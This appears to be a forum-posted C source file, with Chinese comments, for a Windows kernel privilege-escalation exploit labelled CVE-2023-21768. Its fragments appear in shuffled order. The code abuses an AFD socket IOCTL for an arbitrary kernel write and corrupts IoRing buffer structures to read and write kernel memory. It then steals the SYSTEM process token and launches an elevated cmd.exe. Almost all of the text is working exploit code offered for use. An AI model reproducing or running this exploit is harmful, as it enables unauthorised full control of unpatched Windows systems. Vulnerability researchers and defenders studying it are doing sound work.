0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
AFD_NOTIFYSOCK_DATA Data = { 0 };
// create status event
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
// error
return FALSE;
}
// set afd endpoint path
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
// initialise object attributes
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
// create socket handle
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
// error
CloseHandle(hEvent);
return FALSE;
}
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
_NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 1);
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 100000000;
Data.pPwnPtr = pTargetPtr;
/*
__kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
[in] HANDLE FileHandle,
[in, optional] HANDLE Event,
[in, optional] PIO_APC_ROUTINE ApcRoutine,
[in, optional] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG IoControlCode,
[in, optional] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out, optional] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);
*/
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
if (INVALID_HANDLE_VALUE != hCompletion)
{
CloseHandle(hCompletion);
}
if (INVALID_HANDLE_VALUE != hSocket)
{
CloseHandle(hSocket);
}
if (NULL != hEvent)
{
CloseHandle(hEvent);
}
if (NULL != Data.pData1)
{
VirtualFree(Data.pData1, 0, MEM_RELEASE);
}
if (NULL != Data.pData2)
{
VirtualFree(Data.pData2, 0, MEM_RELEASE);
}
return TRUE;
}
int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (ntStatus != STATUS_SUCCESS)
{
ret = ntStatus;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
ret = 0;
break;
}
}
done:
if (NULL != pHandleInfo)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return ret;
}
int ioring_init(PIORING_OBJECT* ppIoRingAddr)
{
int ret = -1;
IORING_CREATE_FLAGS ioRingFlags;
//创建IoRing
ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
if (0 != ret)
{
printf("CreateIoRing failed");
return FALSE;
}
//获取内核层指向IORING_OBJECT的结构体指针
ret = getobjptr((PULONG64)ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
if (0 != ret)
{
return FALSE;
}
pIoRing = *ppIoRingAddr;
return TRUE;
}
BOOL File_init()
{
hInPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
hOutPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
{
printf("CreateNamedPipeW failed");
return FALSE;
}
hInPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
{
printf("CreateNamedPipeW failed");
return FALSE;
}
return TRUE;
}
BOOL FakeRegisterBuffers_init()
{
_HIORING* phIoRing = NULL;
//设置内核层的_IORING_OBJECT结构体
//IoRing->RegBuffers=0x1000000
if (!ExploitWrite0x1((char*)&pIoRing->RegBuffers + 0x3))
{
printf("IoRing->RegBuffers write failed");
return FALSE;
}
//IoRing->RegBuffersCount=0x1s
if (!ExploitWrite0x1((char*)&pIoRing->RegBuffersCount))
{
printf("IoRing->RegBuffersCount write failed");
return FALSE;
}
//在0x1000000申请对应Count数的空间,这应该是个结构体指针数组,每个指针都指向_IOP_MC_BUFFER_ENTRY结构体
pFakeRegBuffers = VirtualAlloc((LPVOID)FakeRegBufferAddr, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memset(pFakeRegBuffers, 0, sizeof(ULONG64) * FakeRegBuffersCount);
//设置用户层的_HIORING结构体
phIoRing = *(_HIORING**)&hIoRing;
phIoRing->RegBufferArray = pFakeRegBuffers;
phIoRing->BufferArraySize = FakeRegBuffersCount;
return TRUE;
}
BOOL TokenAddr_init()
{
HANDLE hProc = NULL;
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, GetCurrentProcessId());
getobjptr(&SystemEPROCaddr, 4, (HANDLE)4);
getobjptr(&MyEPROCaddr, GetCurrentProcessId(), hProc);
SystemTokenaddr = SystemEPROCaddr+ EPROC_TOKEN_OFFSET;
MyTokenaddr = MyEPROCaddr+ EPROC_TOKEN_OFFSET;
printf("SystemTokenaddr : %llx\n", SystemTokenaddr);
printf("MyTokenaddr : %llx\n", MyTokenaddr);
return TRUE;
}
BOOL Init_CVE_2023_21768()
{
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)
{
printf("get function false ");
return FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pReadAddr;
pMcBufferEntry->Length = ulReadLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pWriteAddr;
pMcBufferEntry->Length = ulWriteLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
VOID PrivilegeEscalatio()
{
ULONG64 ullSysToken;
//ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)&test, &ullSysToken, sizeof(ULONG64));
//printf("%llx\n", &test);
ioring_read((PULONG64)pFakeRegBuffers, SystemTokenaddr, &ullSysToken, sizeof(ULONG64));
printf("ullSysToken : %llx\n", ullSysToken);
ioring_write((PULONG64)pFakeRegBuffers, MyTokenaddr, &ullSysToken, sizeof(ULONG64));
}
VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID FixData()
{
char null[0x10] = { 0 };
ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)(&pIoRing->RegBuffersCount), &null, 0x10);
if (pFakeRegBuffers != NULL)
{
VirtualFree(pFakeRegBuffers, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RELEASE);
}
if (hIoRing != NULL)
{
CloseHandle(hIoRing);
}
}
int main()
{
Init_CVE_2023_21768();
PrivilegeEscalatio();
CreateCmd();
FixData();
}
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
namespace CVE_2023_21768
{
HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
DWORD64 FakeRegBufferAddr = 0x1000000;
PVOID pFakeRegBuffers = NULL;
unsigned int FakeRegBuffersCount = 1;
DWORD64 SystemEPROCaddr = 0;
DWORD64 MyEPROCaddr = 0;
DWORD64 SystemTokenaddr = 0;
DWORD64 MyTokenaddr = 0;
DWORD64 test = 0;
}
using namespace CVE_2023_21768;
//漏洞点任意地址写0x1
BOOL ExploitWrite0x1(void* pTargetPtr)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
HANDLE hCompletion = INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES ObjectAttributes;
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!